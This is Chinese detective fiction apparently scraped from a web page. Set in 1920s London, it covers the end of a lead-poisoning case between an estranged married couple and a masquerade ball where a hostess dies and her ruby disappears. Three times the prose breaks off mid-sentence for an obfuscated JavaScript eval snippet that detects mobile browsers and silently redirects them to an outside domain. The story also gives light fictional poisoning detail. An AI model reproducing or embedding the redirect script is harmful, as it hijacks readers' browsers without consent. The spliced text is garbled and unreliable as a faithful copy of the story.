简拉着我，她在安抚我。 我看着那位夫人。沃尔特夫人。 那位可怜的女人，玛格丽特。 玛格丽特脸上的狂怒和怨毒像潮水般退去，取而代之的是一种令人毛骨悚然的平静，甚至带着一丝奇异的……天真？ 她歪了歪头，憔悴的面容在烛光下显出一种诡异的脆弱感。 她慢慢弯下腰，捡起地上一个被摔得有些变形的娃娃，轻轻拍掉并不存在的灰尘，然后，抬起头，看向我们。 那双眼睛里，所有的激烈情绪都消失了，只剩下深不见底的黑暗和一丝……近乎恳求的意味？ 但那恳求背后，是冰冷的算计和疯狂的执念。 她的嘴角，极其缓慢地，向上弯起一个弧度。 那笑容，比烛光更摇曳，比铅釉更冰冷。 “因为…”玛格丽特·沃尔特夫人抱着她的娃娃，声音轻柔得像情人间的呢喃，“我不甘心！” “我只是…想要…属于我的” 上帝啊。 育儿室里，烛火依旧在跳跃，映照着满墙鲜艳的手作画和散落一地的玩具。 映照着中心那个抱着娃娃，微笑的女人。 诡谲，奇异，又令人心碎。 “好吧，也许你说完了。”简拉着我，我感觉到她有些不耐。 “夫人，我说过，我们从一开始就什么都不知道。” 简带着我离开。 下楼的时候，我们碰见了沃尔特先生。 楼梯转角的光线比育儿室更暗。 亨利·沃尔特就站在下方几级台阶的阴影处。他没有像预料中那样咆哮，只是静静地站着，西装外套随意敞着，领带歪斜。 这个时候，到是显出几分昔日贵公子的气势，可惜，现在的他，头发稀疏，眼眶凹陷，面容憔悴，易怒，易躁。 他怎么在这？他听到了吗？ “沃尔特先生。”简的声音打破了令人窒息的沉默。 亨利没有回应问候。他向前挪了半步，皮鞋在木楼梯上发出沉闷的轻响。他的目光缓缓扫过简，最终停留在她的脸上，带着一种令人毛骨悚然的审视。 “育儿室……”他终于开口，声音低沉沙哑，“我那位……‘清醒’的妻子。” 他刻意加重了“清醒”二字，竭力想笑笑，反倒显出几分狰狞，“她那张能吐出毒蛇的嘴，又跟你们分享了什么‘真知灼见’？关于我的‘完美’婚姻？还是她那些……被害妄想的疯话？” 我呼吸一窒，玛格丽特怨毒的控诉和那冰冷的微笑瞬间冲回脑海。 亨利·沃尔特。 玛格丽特·沃尔特夫人的丈夫。 他害怕他的妻子戳破他的真实想法，讲出不能为外人道的心思，却不知他的妻子在诉说着如何的去报复，去谋杀他。 这对据说曾经完美的夫妻。 都想置对方于死地。 一个出于怨恨一个出于利益。 简沉默了一会，仅仅一会。她的眼神没有丝毫闪躲，反而像平静的湖面，映出亨利阴郁扭曲的倒影。 “沃尔特夫人沉浸在她巨大的悲伤里，先生。”简的声音依旧清晰冷静，却透着冷意。 “她谈论失去的孩子，谈论她曾经相信的……完美幻象。幻象的破灭总是令人心碎，尤其当它曾被视为信仰。”她的话像软刀子，精准地刺向亨利最虚伪的痛处。 亨利脸上的肌肉抽搐了一下，那抹假笑消失了，只剩下冰冷的阴沉。 “悲伤？哈！”他嗤笑一声，声音陡然升高，报躁，“她的悲伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973594|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是制造流言，歇斯底里，毁掉一切！听着，小姐们，” 他向前又逼近一步，距离近得我能闻到他身上残留的，令人作呕的甜腻香水味和淡淡的……金属味？(铅中毒可能的体味？) “我不管你们在她那个疯人院里听到了什么。这是我的房子，我的家事。聪明人，就该管好自己的眼睛和耳朵，然后……闭上嘴。把听到的，看到的，都烂在肚子里。明白吗？” 简只是冷漠地看着他。 “弗瑞，记住，我们一开始什么都不知道。” 当里斯克又在重复这句话的时候，我们正在下午一点回伦敦的火车车厢里。 所以，发生的一切本就和我们无关。 “这是一对‘完美’的伴侣，至于是佳偶还是怨侣，弗瑞，这是没有必要的问题。” “任何人，首先都是他们自己，他们该为自己做下的一切，而承担。” “可是……”我张了张口，却不知道怎么说下去。 简抱了抱我，什么也没说。 侦探不是上帝，无权审判或拯救。 而在这样复杂纠葛的事件里，无论我们做什么，即使是报警都是对另一方的不公平。 上帝在天堂俯视众生。 祂是否真的注视着，以至于让曾经或许相爱过的两个人成为这样。 我迫切地需要一些东西来转移注意力。 “简，你怎么知道沃尔特夫人在沃尔特先生的瓷杯里下毒的？” “下毒？不不不。亲爱的弗瑞，是铅。”简说。 “是沃尔特先生钟爱的鲜艳漂亮的瓷釉。也许这给了夫人灵感。而我们的沃尔特夫人，只是做了点手脚，加剧了它的致命性。” “少量醋酸铅，日复一日，而我们的沃尔特先生，刚巧需要浓厚的咖啡。玛格丽特足够聪明。” 简看着窗外说。 “但是？你怎么发现的？”我有些气馁，明明我和简一起，但是我却没有发现这些东西。 “哦…弗瑞，我只是比你多了点运气。看见她在药房的单据。” “只要说治疗皮肤病或者染发。她肯定已经在不少的药店买过了。而老约翰告诉我，当先生不在的时候，夫人总是偷偷独自出去。” 我想起简问过我的关于时间的问题，甚至又些兴奋了。“哦，简，时间！她一定是先去了药店，再来找的我们！” 简又笑了，浅绿色的眼睛亮亮的，她不说话，拉着我看外面的风景。 “好啦，弗瑞，别想了，看看风景。”她说，“也许我真的应该把买车提上日程，到时候带你去兜风。” 我也被她带偏了。 去思考到底买什么样的车。 读者们，当我写下这个故事的时候，我才反应过来，当时沃尔特先生紧随其后。 他究竟是否知道呢？ 或者说，她究竟是否知道呢？ 在这件事情没多久。 我和简的事务所（我喜欢这么叫），查令十字街12号，收到了一张慷慨的支票。 署名，玛格丽特。 后来我们听说，富有的沃尔特夫人依旧住在那座巨大的庄园里。 晨昏交替，只有两个娃娃的影子，陪她走过漫长回廊。 23. 3.1 致弗瑞·本小姐 查令十字街12号 伦敦 1922年9月21日 亲爱的本小姐： 梅菲尔区的沙龙近来总缺些新鲜气息。乔安里维奇夫人养的八哥都能把宾客名单背全了，这多无趣。 本月25日夜九时，假面舞会将为"盛会之星"启幕。您知道的，我的丈夫留下了这神秘的东方宝石，如今我斗胆让它见见场面。说来也怪，自取出它之后，女仆总念叨夜间听见我先生过去的房间有脚步声……唉，这些可怜的下人总爱用幻想填补见识的空白。 倒是想起您那位同伴。听闻里斯克小姐极其敏锐，用在小事未免可惜。若她得闲，还请同来品鉴宝石。 您无需费神回函。面具与斗篷已备妥，横竖夜色最善包容不同来处的人。 您诚挚的， 埃米尔·德·克里米亚 以上，就是克里米亚夫人送给我的邀请函，这里给各位读者附上。 在杜维恩伯爵的事情结束后，我还是偶尔去参加这些贵夫人的沙龙茶会。 毕竟，所谓的上流社会也离不开八卦与杂谈，就像简说的，我可以利用我的“体面”去打探足够的消息。 与她们交好，总归是没有坏处的。 这自然，不可避免地继续与这位社交达人克里米亚夫人打交道。 亲爱的读者，事已至此，我不太想再说什么不好的话。我只能说，克里米亚夫人是一位标准的贵夫人。她有着上流人士的教养体面，当然也不可避免的有着相关的不好的东西。 她的丈夫，是英驻东方第五军团的军团长，1918年在东方殉职，给她留下了足够的地位，财富还有底气。 至于“盛会之星”，那是一颗来自东方的红宝石，即使那听起来毫不相搭。 或许克里米亚先生命名的时候，希望宝石和她的夫人都成为“盛会之星”？ “简，据说克里米亚先生是在一个东方王子的手里得到了这颗红宝石，王子死时，诅咒得到的人会在宝石上看见欲望，也因欲望而死。所以也有人说这是代表欲望的红宝石。” 我念完邀请信，给简说着我从其他夫人那听来的消息。 来自神秘东方宝石的诅咒。 没有人不好奇。 “甚至，私下有人说，克里米亚先生的殉职和这个宝石脱不开干系。” “无稽之谈。有欲望的是人心，而不是宝石。” 简当时坐在她惯常的位置，手里在擦着她细心保养的韦伯利转轮。 说实话，我不太清楚她是怎么弄到这些武器的，想想法律和社会压力，一旦被发现，我都不敢想会有多麻烦。 当然，我会为她保持缄默。 因为当我询问她时，她浅绿色的眼睛里满是不容置疑，“弗瑞，这是为了自保。” 她从不强求我学习这种我从未接触过的东西，让一位从未接触过的淑女用枪无异于是自杀。 但我也记得，某一天，简匆忙的从外面回来，递给我一个天鹅绒匣子。 匣内并非手木仓，而是一枚嵌着蓝宝石的银戒。 “卡桑德拉的‘眼泪’，”她指尖轻推宝石，戒托下弹出一根银针，“针尖淬了强效的曼陀罗酊与颠茄液，剂量足以让一个壮汉昏睡如泥，几小时内动弹不得。小心，别碰针尖。” 她合上匣子塞进我手心，“戴着它。” 我凝视指环，“如果被搜身……” “那就微笑。”简扯动嘴角，“说这是你祖母的遗物，而你……会为了弄丢她的胸针哭泣。” 从那以后，那颗宝石戒指就一直在我的手上。 哦，抱歉，亲爱的读者，我又写偏了。 还是回到那颗红宝石吧，那颗神秘的“盛会之星”，以及那场邪恶华丽的假面舞会。 作为一个已经经历过这件事的人，读者们，原谅我用一种戏剧华丽的语调来写它。 当马车（我们尚且还没买车）停在那扇有着常青藤，爬山虎与岁月的痕迹，却依旧傲慢挺立的铁大门前时，一种近乎不祥的感觉便萦绕着我。 我和简最终还是选择来参加这场华丽的假面舞会，或者说，简是陪着我来参加这场舞会。 假面舞会。 面具是这里唯一真实的东西。 每一张描金绘彩的脸孔后面，都藏着一个更深的面孔。 人类最精妙的伪装在此刻粉墨登场。 谁也不知道伪装之下是一颗怎样的心。 …… 我和简并不愿意引人注目。 我的面具是深灰丝绒。简的则更彻底，一张毫无特征的黑色皮革，只余下那双眼睛（这还是在我的几番劝说下，至于礼服，别想了）。 音乐在缓慢地流淌，昂贵的液体在杯中晃荡，面具下的人们在轻声低语。 然后，她出现了。 埃米尔·德·克里米亚夫人出现在二楼回旋楼梯的顶端。 一切仿佛为她而生。 或者说，这本就是她的主场。 她并未佩戴繁复的面具，只以一袭猩红的曳地长裙宣告自己的存在。金发高高盘起，簪着几颗细小的钻石，冷光点点，却压不住颈项间那夺魂摄魄的光芒。 “盛会之星”。 那颗传说中的神秘东方红宝石，此刻就悬在她苍白脆弱的锁骨之下。 它并非寻常鸽血红的明艳，而是一种深邃浓郁的色泽。像极了它的来历，充满了血色的意味。 它太大了，那光芒也太沉重，沉甸甸地压在克里米亚夫人的颈项上。 她唇角带着惯有的骄傲笑意，目光扫过下方芸芸众生，带着睥睨。 看吧，这是我的荣光，我的战利品，我的…骄傲？ 她缓缓步下阶梯，猩红的裙摆摇曳，每一步都踏在无声的惊叹与欲望之上。 至少，“盛会之星”，不负它与“欲望”的牵连，无论是美名还是诅咒。 在她身后半步，如同一个被拉长的阴影。这位克里米亚夫人的贴身女仆露西。 她的面具是最简单的黑色半脸式，遮住了上半张脸，却遮不住那紧抿成条直线的嘴唇，以及那双在面具孔洞后死死锁定在女主人后背，或者说，锁定在“盛会之星”上的眼睛。 那眼神复杂得令人心悸，不是对女主人的担忧，更像是一种深切的，混合着痛楚与某种疯狂守护欲的凝视，仿佛她守护的不是眼前的夫人，而是透过宝石看到的另一个早已消逝的影子。忠诚？似乎早已在经年累月中扭曲成了某种执念。 当然，这可能是我过后回想起来，记忆给赋予的加工与神秘色彩。 当时，克里米亚夫人华丽出场后，简只是无趣地看了一眼便收回了目光。 “那的确是一颗珍贵的红宝石，简。”我说着，并抬头看她。 “嗯。”简应道，并端给我一份甜品，“吃点东西。” 那所谓代表欲望的宝石，在她的眼中，还不如食物的吸引力大，我有些失笑。 说起来，简并不缺钱，也许来源于一些慷慨的委托人？对于珠宝和珍品，她也有丰富的储藏知识，只是她通常都不太关注这些，我时常都在想是什么造就了这样的简·里斯克。 当然，读者，这些我们之后再谈。 “克里米亚夫人，”一个带着点异域腔调的声音在身边响起。 说话的男人戴着半张精致的威尼斯风格银色面具，遮住了上半张脸，露出线条优雅的下颌和薄唇。 他穿着剪裁合体的深色常礼服，姿态从容，手中端着一杯几乎没动的香槟。 “‘盛会之星’……终于得见真容了。这色泽……深邃得令人难忘……” 他的目光克制地停留在宝石上，带着鉴赏家式的专注。 “当然，感谢您的夸奖，西里弗斯先生。”克里米亚夫人带着骄傲地语气，又尽量平稳地说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973595|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我当时大概清楚这个男人是谁了，“奥古西斯·西里弗斯先生，简，他是上流社会有名的收藏家。” 来自奥地利，痴迷于宝石，不计代价。一些落魄的贵族会不得不与他交易，当然，这可不能摆台面上。 转头的时候，我注意到了一个独特的人。 “看那，简。”我靠近简，小声地示意。 靠近厚重窗帘的阴影里，几乎与褐色的窗帘融为一体。一个穿着黑色长衫的身影静静伫立。 他脸上覆盖着一张空白的白色纸面具（与整个舞会格格不入）。指间夹着一支细长的烟斗，青烟袅袅，模糊了轮廓。他像厅堂里一件被遗忘的东方陈设，只有烟斗里那点暗红的火星，明明灭灭，似乎在见证什么。 “东方人？”简的语调里有了几分兴味和探究。我想起了宝石的来历，毕竟是来自东方。 注意到我们的观察，那个人，由于各种原因以及他的身份，就让我们称呼他为东方先生吧。东方先生举起了他的烟斗，朝我们示意，带着他礼貌温和的笑意。 没等简过去攀谈，“本小姐！里斯克小姐！”克里米亚夫人的声音提高了些，带着一种刻意为之的欢快。 她向我们走来，颈间的红宝石随着步伐微微晃动。 “你们来了！”她抓住我的手腕，力道有些失控。“看！”她猛地侧过身，将宝石完全暴露在烛光下，动作带着十足展示欲。 “它美吗？它值得所有人看看，是不是？当然，它可比不过我。”她的眼睛紧紧盯着我们。 没等我接话。克里米亚夫人也不需要我接话，她只是需要展示。这个舞会，她几乎把所有有点身份的人都请来了。 “当然！夫人！”那个戴着简单黑色眼罩的年轻人就靠近说，目光灼热。 “您的美丽让一切今晚的都失去了光彩。” 也许是因为话，也许是因为人，克里米亚夫人明显更高兴了。 就在这时，一个带着明显不耐烦的女声尖锐的插进来。 “得了吧，莫里安，省省你那套，也就克里米亚…” 丽拉·乔安里维奇夫人。 这个一贯以心直口快（甚至失礼）著称的夫人。 她根本没戴什么精致面具，只随意扣了半张遮到鼻梁的黑色蕾丝面纱，露出涂得过于鲜红的嘴唇和毫不掩饰的带着评判意味的神情。 她的银灰色裙子料子很好，剪裁优良。她手里捏着酒杯，毫不客气地上下打量着克里米亚夫人颈间的宝石，撇了撇嘴。 “美？哼。克里米亚，我说句实在话，这玩意儿看着就沉。压得你脖子不酸吗？” 她声音不大，却足够清晰，周围几个离得近的宾客瞬间噤声。 克里米亚夫人脸上的笑意褪去。抓着我的手指猛地收紧，指甲几乎掐进我肉里。 简注意到了，直接把这位失控的夫人掰开，并把我往他身后带了带，“还好吗？”，她问我，但我只是摇了摇头。 至于克里米亚夫人，她的注意力已经全部集中在丽拉·乔安里维奇夫人身上。 “丽拉！”克里米亚夫人声音提高，带着被冒犯的不满，“请注意你的言辞！这是克里米亚……” “克里米亚留下的宝贝，我知道我知道。” 丽拉夫人不耐烦地挥了挥手，杯里的酒差点洒出来，她毫不在意地喝了一口，目光依旧在宝石上，带着一种毫不掩饰的审视。 “人都没了四年了，还成天把他挂嘴上，挂脖子上，不知道的，还以为你多爱他。” 她最后两个字压得低了些，却精准地踩到对方最敏感的神经。 她甚至没看克里米亚夫人瞬间煞白的脸，目光扫过旁边的莫里安，轻笑一声，“也就哄哄没见过世面的毛头小子。” 说完，她像丢垃圾一样把空酒杯塞给不知道什么时候站在一旁的侍者，转身就挤进了人群，留下身后一片死寂和几道意味不明的目光。 24. 3.2 一切安静下来了。 音乐似乎也低了下去。 侍者在忙碌着，远处传来模糊不清的笑语，衬得我们这更加死寂。 莫里安，那个年轻的艺术家（虽然我没怎么听过他的作品），脸色涨红，似乎想反驳什么，最终只是小心翼翼地看着克里米亚夫人。 没有人想替他出头，毕竟所有人都知道，他不过是克里米亚夫人的情人之一。 而我，我不太想参与这种事情。至于简，她只是拉着我离开。 “夫人，您看起来不太舒服。也许需要去休息室安静一会？” 我听见背后的莫里安说。 我忍不住回头，看见克里米亚夫人猛地吸了一口气，胸膛挺起，试图重新凝聚起那份高高在上的姿态。 那颗“盛会之星”在她脖子上晃了晃。吸引着所有人的目光。 克里米亚夫人扫过周围几张或尴尬或好奇或幸灾乐祸的面具，最终落在丽拉夫人消失的方向，那眼神充满着被冒犯的怒火。 “休息？当然！” “露西！”她厉声唤道，看也不看身后的女仆，“陪我去东休息室！立刻！我需要…我的嗅盐。” 贴身女仆露西立刻上前一步，几乎是半搀半扶地架住了女主人的胳膊。 那张被黑色半脸面具遮住大半的脸上看不出表情，只有那双眼睛，在面具的孔洞后，沉沉地望了克里米亚夫人一眼，随即落下。 她沉默地拨开人群，带着夫人朝着舞厅侧翼那扇通往私人休息区的厚重橡木门走去。 宾客们下意识地让开一条窄路，等夫人离开后，细细碎碎的低语才出现。 直到一支新的节奏明快的华尔兹响起。 人群自然地涌向中心起舞。 空气似乎都轻盈了些。 莫里安在原地踌躇了几秒，脸上交织着难堪和对夫人的关切。 他最终下定决心，快步跟了上去，在离休息室门几步远的地方停下，不安地徘徊着。 “令人遗憾的小风波。” 我听到西里弗斯先生的声音在几步外响起，他不知何时又走了过来，手里香槟还是没怎么动。银色面具遮住了他的表情。 “情绪激动对收藏品可不是好事，夫人需要好好平复。”他的语气带着一种恰到好处的关切。（当然，如果只有后面那半句就好） 角落里，那个神秘的东方先生，依旧隐在窗帘的阴影里。白色的纸面具朝着休息室关闭的门扉方向，青烟弥漫，影影绰绰，不分不明。 “先生，您好。”我走过去开口，并举杯示意道。简则是在我的身旁观察着。 “小姐们好。”东方先生温和的说，他的话语有着异邦的，奇异的韵味。 “先生，我看不出你参加这个无趣的场合的意义。”简突兀地说。我只好歉意地笑笑。 “小姐们不也参加了？”东方先生并没有被冒犯的生气，他笑着，带着一种莫名的悲哀，“我来见见属于东方的宝石。” 我一时不知道怎么接，其实我也不清楚简为什么会陪着我来参加这个舞会。而且，这宝石毕竟来自东方，带着血腥。 简到是被激起了兴致，“对于那个诅咒，东方人怎么看？” 读者们，不管是出于什么理由，这也有些无礼了，我忍不住拉了拉简。 她其实并不是没有教养，或者不懂礼仪，相反，她似乎受过高等的相关教育，但是她本人并不愿意去遵循。而且，当她想知道什么的时候，她总是有些不易察觉的审问和直接。似乎被问的人本应该回答她。 幸好那位东方先生有着很好的涵养，“我不代表所有东方人，但我认为，宝石只是宝石，牵引的欲望永远是人心。” “你说的对，先生。”简笑着，她似乎佷高兴有人和她想法一致。并且对东方先生的身份起了极大的兴趣。 我陪着她和这位先生聊了一会，之后我们就不再打扰。 丽拉·乔安里维奇夫人在人群另一侧。她正对另一位夫人说着什么，红唇撇着，显然对自己刚才的“直言不讳”颇为满意，甚至带着点胜利者的姿态。她似乎完全没在意离去的克里米亚夫人。 “简，”我低声说，手指下意识地摩挲着戒指上那颗冰冷的蓝宝石，“我感觉…会有什么不好的……” 简握了握我的手，安抚意味的，“嗯。” 她应了一声，目光扫过全场，最后，她的视线落在穿梭的侍者身上。 统一的白手套，简单的白色面具，完全不知道背后有着怎样的脸孔。 她看了看我手上的戒指，她送我的那个。 “戴好它，弗瑞。”简的声音低沉而清晰，没有多余的警告，但我也明白这背后的意味。 时间在舞步中流淌。 一曲终了，掌声响起。 舞伴们互相致谢，人群开始重新散开，组合，寻找新的目标。 社交场上的时间，总在寒暄与旋转中被模糊。 又一支舞曲响起，裙裾飞扬，水晶灯的光芒依旧璀璨夺目。 当然，我和简都没有参与进去跳舞。 我们在一旁的软垫上休息，简时不时给我拿一下甜点。 突然，“砰！哗啦！” 舞厅另一端传来刺耳的碎裂声！ 一层香槟塔轰然倒塌，晶莹的碎片和酒液四溅，引起女士们的惊呼和小范围的骚动。 侍者们慌忙涌向事故点清理，人群的视线与注意力被短暂地吸引过去。 “留意休息室的动静。”简看着某个从角落出来的侍者和我说。 然后，她站起身，叫住了那个侍者，“可以给我一杯红酒吗？” “当然，小姐。”端着托盘的侍者看了看简，用略显怪异的语调说。 “哦…真糟糕，不是吗？”简说，她似乎是失手把红酒打泼了，那鲜红的液体几乎全部落在了侍者身上。 “没事的，小姐。”侍者强笑着。 简没说话，点点头，回到了我的身边。 “怎么了？”我问。 “没什么。”简摇了摇头说。 大约一刻钟（也许更久）后。休息室的门开了。露西走了出来。 她的脸色比进去时更加苍白，嘴唇紧紧抿成一条线。 她拉住慌乱的侍者。 很快，一杯清澈的水被放在银托盘上。 就在露西端着水杯转身，准备返回休息室的瞬间。 “露西小姐。”西里弗斯先生像是恰巧走到她面前，姿态优雅地拦住了去路。 “夫人好些了吗？那颗‘盛会之星’……如此珍贵的宝石，需要格外精心的照料。不知稍后夫人是否方便，允许我近距离鉴赏一下？或许能为夫人提供一些专业的保养建议？” 他的话语礼貌周全，关切背后是毫不掩饰的目的。 露西的身体几不可察地顿了一下。 她没有抬头看西里弗斯，视线低垂着落在手中的水杯上，声音尽量平稳。 “夫人需要休息，西里弗斯先生。现在不方便。”她端着托盘的手指收紧了。 “当然，当然，理解。”西里弗斯微笑着侧身让开，目光却在露西手中的水杯和紧闭的休息室门上流连，直到露西的身影消失在门后。 门刚关上不久，莫里安似乎鼓足了勇气，上前轻轻敲了敲门。 “夫人？克里米亚夫人？您感觉好点了吗？”他的声音不大，带着小心翼翼的试探。 没有人应答。 他又敲，声调拔高，“露西？” 依旧死寂。 莫里安脸色发白，不安地搓着手。 也许是那边太混乱了，丽拉夫人便挤了过来。她脸上带着一种混合着不耐烦和虚伪关切的表情。 “克里米亚？还在里面生闷气？” 她没等莫里安回答，径直拧开了休息室的门把手。 “行了行了，多大点事，至于吗？” 她迅速进去。门在她身后虚掩着。 那边的清理工作持续了几分钟。 音乐换了一支更舒缓的曲子，试图安抚受惊的宾客。 没人能确切说出丽拉进去了多久，是两分钟？还是感觉上更久？ 当丽拉夫人再次出现时，她整个人似乎更加生气了，踩着高跟噔噔噔的就走了。 丽拉夫人刚离开不到一会，西里弗斯先生再次不经意地踱步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973596|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到门前。 他理了理领结，脸上挂着得体的微笑，直接推开了虚掩的门。 “夫人？露西小姐？希望没有打扰。关于那颗宝石的保养，有些心得，实在不吐不快……” 他边说边自然地走了进去，门在他身后合拢。里面同样传出几句低语（西里弗斯的声音似乎带着一丝急切）。 没过多久，他走了出来，脸上依旧带着微笑，但还是有着难以掩饰的失望和焦躁。 他对着空气（或者说对着一直守在附近，脸色越来越白的莫里安）微微颔首，从容走开，目光却锐利地扫过几个侍者。 西里弗斯刚走，莫里安再也按捺不住。他深吸一口气，似乎想上前敲门。 就在这时，一位衣着华丽但略显聒噪的夫人带着一阵香风“飘”了过来，热情地挽住了他的胳膊。 “亲爱的莫里安！我正找你呢！快给我讲讲，你新画的那幅《月下精灵》的构思，我完全看不懂……”这位夫人不由分说地将莫里安拖离了休息室门口，卷入了一场关于艺术的他完全无法脱身的社交谈话中。 他只能焦急地频频回头望向那扇紧闭的门，额角渗出细汗。 侍者们如同白色的溪流，无声地穿梭在重新聚集的人群中，补充酒水，收走空杯。 一个侍者，端着放有干净毛巾和一个小银壶（像是装清水或花露水）的托盘，步履平稳地走到休息室门口。 引人注目的是，他笔挺的白衬衫上，赫然浸染着一片不规则的暗红色的酒渍，在灯光下格外刺眼。 他没有任何询问，仿佛只是例行公事，直接推门而入。 门在他身后关上。 里面没有任何异常的声响传出。 一支舞曲结束，又一支开始。 人们开始觉得时间似乎变慢了。 那个侍者进去多久了？感觉比丽拉和西里弗斯加起来还长？还是因为等待而显得漫长？没人说得清。 门终于开了。侍者端着空托盘走了出来，只是多了一个水杯（也许是露西要的那个）。他神色如常，仿佛只是完成了一项日常差事。 莫里安终于艰难地摆脱了伯爵夫人，几乎是踉跄着冲回休息室门口。 他喘着气，“夫人怎么样？”莫里安拦住那个侍者。 “夫人？一切都好，露西说她需要休息。”他说。 时间又过去好几首舞。 夫人一直没有出来。 休息室的门紧闭着。 之前进去过的人，此刻都散在人群中，或交谈，或饮酒，但目光都若有若无地看向那扇门，空气中弥漫着一种令人窒息的等待。 东方先生注视着一切。 又一支舞曲结束，掌声稀落。莫里安终于等不了了，他冲了进去。 “夫人！露西！不！！！” 叫声打破了所有。 简皱了皱眉，动作迅速，跑了过去，我也跟了过去。 房间内烛光昏暗，壁炉架上火焰摇曳。 门内不远处的地毯上，贴身女仆露西蜷缩着倒在那里。 她双目紧闭，一只手无力地搭在打翻的水杯旁，水渍浸湿了深色的地毯。 而房间深处。 那张天鹅绒的贵妃榻上。 埃米尔·德·克里米亚夫人靠坐着。 华丽的猩红长裙混乱地铺展着。 精心盘起的金发依旧完美，只有鬓边的发丝松散地垂落，为她增添了几分奇异的慵懒。 她的眼睛是睁着的。空洞，茫然。仿佛望着壁炉里跳跃的火焰。 那张曾盛气凌人的脸庞，此刻是一种死气沉沉的青白。 她的手自然地垂落在身侧，也再不能举起。 埃米尔·德·克里米亚夫人。 她依旧骄傲。 而她颈间那夺目的，代表“欲望”的红宝石，“盛会之星”。 早已消失不见。 莫里安，瘫倒在地上，恐惧又崩溃。 死亡本身冰冷沉寂的味道，无声地弥漫开来，淹没了门口所有的目光。 这场盛大假面舞会。 终以最华丽的悲剧落幕。 或者，才刚刚开始。